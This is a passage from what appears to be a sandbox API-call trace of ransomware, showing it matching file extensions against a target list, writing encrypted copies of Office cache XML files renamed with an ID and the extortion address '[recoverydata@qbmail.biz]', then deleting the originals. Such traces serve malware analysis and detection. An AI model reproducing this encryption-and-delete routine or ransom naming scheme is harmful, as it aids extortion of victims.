[0076.264] lstrlenW (lpString=".rar") returned 4 [0076.264] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.264] lstrlenW (lpString=".bz2") returned 4 [0076.264] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.264] lstrlenW (lpString=".7z") returned 3 [0076.264] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.264] lstrlenW (lpString=".dbf") returned 4 [0076.264] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.264] lstrlenW (lpString=".1cd") returned 4 [0076.264] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.264] lstrlenW (lpString=".jpg") returned 4 [0076.264] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.264] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.265] lstrlenW (lpString="Proof.xml") returned 9 [0076.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.265] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1458) returned 1 [0076.265] CloseHandle (hObject=0x1c8) returned 1 [0076.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0076.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.265] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.266] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0076.266] GetLastError () returned 0x0 [0076.266] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x5b2, lpOverlapped=0x0) returned 1 [0076.268] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0076.269] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.270] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.270] SetEndOfFile (hFile=0x194) returned 1 [0076.270] CloseHandle (hObject=0x194) returned 1 [0076.271] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.271] SetEndOfFile (hFile=0x1c8) returned 1 [0076.271] CloseHandle (hObject=0x1c8) returned 1 [0076.272] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.272] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0076.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.272] lstrlenW (lpString=".doc") returned 4 [0076.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.272] lstrlenW (lpString=".docx") returned 5 [0076.272] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0076.272] lstrlenW (lpString=".pdf") returned 4 [0076.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.272] lstrlenW (lpString=".xls") returned 4 [0076.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.272] lstrlenW (lpString=".xlsx") returned 5 [0076.272] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0076.273] lstrlenW (lpString=".ppt") returned 4 [0076.273] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.273] lstrlenW (lpString=".zip") returned 4 [0076.273] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.273] lstrlenW (lpString=".rar") returned 4 [0076.273] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString=".bz2") returned 4 [0076.273] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString=".7z") returned 3 [0076.273] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.273] lstrlenW (lpString=".dbf") returned 4 [0076.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.273] lstrlenW (lpString=".1cd") returned 4 [0076.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.273] lstrlenW (lpString=".jpg") returned 4 [0076.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.273] lstrlenW (lpString=".doc") returned 4 [0076.273] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString=".docx") returned 5 [0076.273] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0076.273] lstrlenW (lpString=".pdf") returned 4 [0076.273] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.273] lstrlenW (lpString=".xls") returned 4 [0076.273] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.274] lstrlenW (lpString=".xlsx") returned 5 [0076.274] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0076.274] lstrlenW (lpString=".ppt") returned 4 [0076.274] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.274] lstrlenW (lpString=".zip") returned 4 [0076.274] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.274] lstrlenW (lpString=".rar") returned 4 [0076.274] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.274] lstrlenW (lpString=".bz2") returned 4 [0076.274] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.274] lstrlenW (lpString=".7z") returned 3 [0076.274] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.274] lstrlenW (lpString=".dbf") returned 4 [0076.274] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.274] lstrlenW (lpString=".1cd") returned 4 [0076.274] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.274] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0076.274] lstrlenW (lpString=".jpg") returned 4 [0076.274] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.274] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.274] lstrlenW (lpString="Proofing.xml") returned 12 [0076.274] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.275] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=811) returned 1 [0076.275] CloseHandle (hObject=0x1c8) returned 1 [0076.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0076.275] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.275] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.275] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.275] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0076.276] GetLastError () returned 0x0 [0076.276] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x32b, lpOverlapped=0x0) returned 1 [0076.278] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x330, lpOverlapped=0x0) returned 1 [0076.279] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.279] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.279] SetEndOfFile (hFile=0x194) returned 1 [0076.279] CloseHandle (hObject=0x194) returned 1 [0076.280] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.280] SetEndOfFile (hFile=0x1c8) returned 1 [0076.281] CloseHandle (hObject=0x1c8) returned 1 [0076.281] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.281] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0076.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.281] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.281] lstrlenW (lpString=".doc") returned 4 [0076.281] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.281] lstrlenW (lpString=".docx") returned 5 [0076.281] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0076.281] lstrlenW (lpString=".pdf") returned 4 [0076.281] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.281] lstrlenW (lpString=".xls") returned 4 [0076.282] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString=".xlsx") returned 5 [0076.282] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0076.282] lstrlenW (lpString=".ppt") returned 4 [0076.282] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.282] lstrlenW (lpString=".zip") returned 4 [0076.282] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.282] lstrlenW (lpString=".rar") returned 4 [0076.282] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString=".bz2") returned 4 [0076.282] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString=".7z") returned 3 [0076.282] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.282] lstrlenW (lpString=".dbf") returned 4 [0076.282] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.282] lstrlenW (lpString=".1cd") returned 4 [0076.282] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.282] lstrlenW (lpString=".jpg") returned 4 [0076.282] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.282] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.282] lstrlenW (lpString=".doc") returned 4 [0076.282] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.282] lstrlenW (lpString=".docx") returned 5 [0076.283] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0076.283] lstrlenW (lpString=".pdf") returned 4 [0076.283] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString=".xls") returned 4 [0076.283] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString=".xlsx") returned 5 [0076.283] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0076.283] lstrlenW (lpString=".ppt") returned 4 [0076.283] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.283] lstrlenW (lpString=".zip") returned 4 [0076.283] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.283] lstrlenW (lpString=".rar") returned 4 [0076.283] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString=".bz2") returned 4 [0076.283] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString=".7z") returned 3 [0076.283] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.283] lstrlenW (lpString=".dbf") returned 4 [0076.283] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.283] lstrlenW (lpString=".1cd") returned 4 [0076.283] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.283] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0076.284] lstrlenW (lpString=".jpg") returned 4 [0076.284] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.284] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.284] lstrlenW (lpString="Setup.xml") returned 9 [0076.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.284] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=5884) returned 1 [0076.284] CloseHandle (hObject=0x1c8) returned 1 [0076.284] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0076.284] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.284] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.285] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.285] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.285] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0076.285] GetLastError () returned 0x0 [0076.285] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0076.287] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0076.288] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0076.288] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.289] SetEndOfFile (hFile=0x194) returned 1 [0076.289] CloseHandle (hObject=0x194) returned 1 [0076.290] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.290] SetEndOfFile (hFile=0x1c8) returned 1 [0076.291] CloseHandle (hObject=0x1c8) returned 1 [0076.291] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0076.292] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0076.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.292] lstrlenW (lpString=".doc") returned 4 [0076.292] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.292] lstrlenW (lpString=".docx") returned 5 [0076.292] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.292] lstrlenW (lpString=".pdf") returned 4 [0076.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.293] lstrlenW (lpString=".xls") returned 4 [0076.293] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.293] lstrlenW (lpString=".xlsx") returned 5 [0076.293] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.293] lstrlenW (lpString=".ppt") returned 4 [0076.293] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.293] lstrlenW (lpString=".zip") returned 4 [0076.293] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.293] lstrlenW (lpString=".rar") returned 4 [0076.293] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.293] lstrlenW (lpString=".bz2") returned 4 [0076.293] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.293] lstrlenW (lpString=".7z") returned 3 [0076.293] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.293] lstrlenW (lpString=".dbf") returned 4 [0076.293] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.293] lstrlenW (lpString=".1cd") returned 4 [0076.294] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.294] lstrlenW (lpString=".jpg") returned 4 [0076.294] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.294] lstrlenW (lpString=".doc") returned 4 [0076.294] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.294] lstrlenW (lpString=".docx") returned 5 [0076.294] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.294] lstrlenW (lpString=".pdf") returned 4 [0076.294] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.294] lstrlenW (lpString=".xls") returned 4 [0076.294] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.294] 